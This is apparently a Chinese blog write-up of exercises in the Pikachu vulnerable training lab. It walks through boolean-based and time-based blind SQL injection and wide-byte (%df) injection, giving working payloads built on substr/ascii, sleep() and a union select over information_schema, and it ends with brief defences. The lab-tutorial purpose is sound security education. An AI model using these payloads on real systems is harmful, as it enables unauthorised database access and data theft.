pikachu~~~布尔,时间,宽字节盲注

目录

 

基于boolian的盲注

基于时间的盲注

wide byte注入


基于boolian的盲注

屏蔽了报错信息,只显示两种情况:正确和错误

输入单引号试探

输入and试一下

bool注入比较重要的是lenth()、substr()函数和ascii()函数这类取值和运算函数,substr()函数截取字符串的字母,通过ascii()函数转码成数字后就可以参与数学运算了。如:

select sustr(database(),1,1)>10

select ascii(sustr(database(),1,1))>10

select length(database())>10

开始注入:kobe' and ascii(substr(database(),1,1))>113#

若显示内容则后面表达式为真,否则为假

kobe' and ascii(substr(database(),1,1))=112#

 

kobe' and ascii(substr((select TABLE_NAME from INFORMATION_SCHEMA.tables where TABLE_SCHEMA=database() limit 0,1),1,1))<112#

基于时间的盲注

如果说基于bool的注入可以基于0或者1来判断注入,那基于时间的盲注就是啥也看不到,你无法从显示的不同来判断你的语句是否执行。这时可以引入基于时间的盲注。

发现输入’会立即回显报错

利用sleep()

输入kobe' and sleep(3)

发现延迟3秒显示,所以存在sql时间注入的漏洞

即后面语句猜测正确即延迟,不正确立即回显。

kobe' and if((substr(database(),1,1))='p',sleep(5),null)#

 

wide byte注入

 

输入注入字节后抓包

 

因为addslashes()函数的作用是在单引号等字符前加反斜杠('->\'),url编码后就是%5c%27.我们的payload的是【%df '】,在前面增加%df(%81-%fe之间都可),即%df%5c%27,此时数据库若使用GBK编码,则会认为%df%5c是一个宽字符,%27单引号便逃逸出来了。

order by字段查询,输入2时正常,输入3时报错,说明字段数为2

union 联合查询试下数据库:

查询表名:kobe%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()

查询

'users'表名旁边需要单引号,所以可以用Burp将'users'进行转换为concat(char(39),char(117),char(115),char(101),char(114),char(115),char(39))

详细:https://blog.csdn.net/weixin_44426869/article/details/104341863?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522162271214816780366593073%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fall.%2522%257D&request_id=162271214816780366593073&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~first_rank_v2~rank_v29-9-104341863.first_rank_v2_pc_rank_v29&utm_term=pikachu%E5%AE%BD%E5%AD%97%E8%8A%82%E6%B3%A8%E5%85%A5&spm=1018.2226.3001.4187

防御

对于宽字节编码,有一种最好的修补就是:

(1)使用mysql_set_charset(GBK)指定字符集

(2)使用mysql_real_escape_string进行转义

原理是,mysql_real_escape_string与addslashes的不同之处在于其会考虑当前设置的字符集,不会出现前面e5和5c拼接为一个宽字节的问题,但是这个“当前字符集”如何确定呢?

就是使用mysql_set_charset进行指定。

上述的两个条件是“与”运算的关系,少一条都不行。

  • 1
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值